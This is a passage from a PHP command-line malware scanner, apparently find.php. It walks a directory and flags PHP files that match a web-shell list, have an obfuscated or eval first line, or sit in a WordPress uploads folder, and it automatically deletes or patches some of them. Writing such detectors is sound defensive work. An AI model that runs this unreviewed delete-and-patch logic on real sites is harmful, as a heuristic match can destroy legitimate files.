< fix.patch"); 146 | unlink('fix.patch'); 147 | unlink("$file.fixed"); 148 | } else { 149 | echo 'No patch applied'; 150 | } 151 | } 152 | unlink('fix.patch'); 153 | } 154 | 155 | // Main(void) 156 | if (empty($argv[1])) { 157 | die("Usage: php find.php directory_to_scan > infected.txt\n"); 158 | } else { 159 | echo $colors->getColoredString('Scanning '.$argv[1]." for potential obfuscated malware...\n\n", 'green'); 160 | $data = array(); 161 | if (file_exists($argv[1])) { 162 | if (is_dir($argv[1])) { 163 | $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($argv[1]), RecursiveIteratorIterator::SELF_FIRST); // Grab array of the entire structures of $argv[1] (a directory) 164 | } else { 165 | // Scan file directly 166 | $files = array($argv[1]); 167 | } 168 | 169 | $c = 0; // Counter for files processed 170 | $f = 0; // Counter for files with potential malware 171 | 172 | // Preload data 173 | $shells = file(dirname(__FILE__).'/data/webshells.txt'); 174 | $whitelist = file(dirname(__FILE__).'/data/whitelist.txt'); 175 | 176 | foreach ($files as $file) { 177 | if (is_dir($file) === true) { // Not in use, was used to check directory traversal was working properly 178 | } else { // If is file 179 | if (preg_match("/\.php$/", $file)) { // Currently only selects PHP scripts for scanning 180 | $arr = file($file); // Puts each line of the file into an array element 181 | 182 | if (detect_shell($arr)) { 183 | report_file($file, 'Shell script pattern'); 184 | ++$f; 185 | continue; 186 | } 187 | 188 | if (detect_obfuscated($arr)) { 189 | report_file($file, 'obfuscated code on first line'); 190 | ++$f; 191 | continue; 192 | } 193 | 194 | if (detect_onelineshell($arr)) { 195 | report_file($file, 'First-line file with eval'); 196 | if (count($arr) == 1) { 197 | delete_file($file, implode($arr), true); 198 | } else { 199 | patch_file($file, $arr); 200 | } 201 | ++$f; 202 | continue; 203 | } 204 | 205 | if (detect_upload($file)) { 206 | report_file($file, 'PHP file in wordpress upload dir'); 207 | ++$f; 208 | continue; 209 | } 210 | } 211 | } 212 | ++$c; 213 | } 214 | } else { 215 | die('The specified scan path does not exist!'); 216 | } 217 | } 218 | --------------------------------------------------------------------------------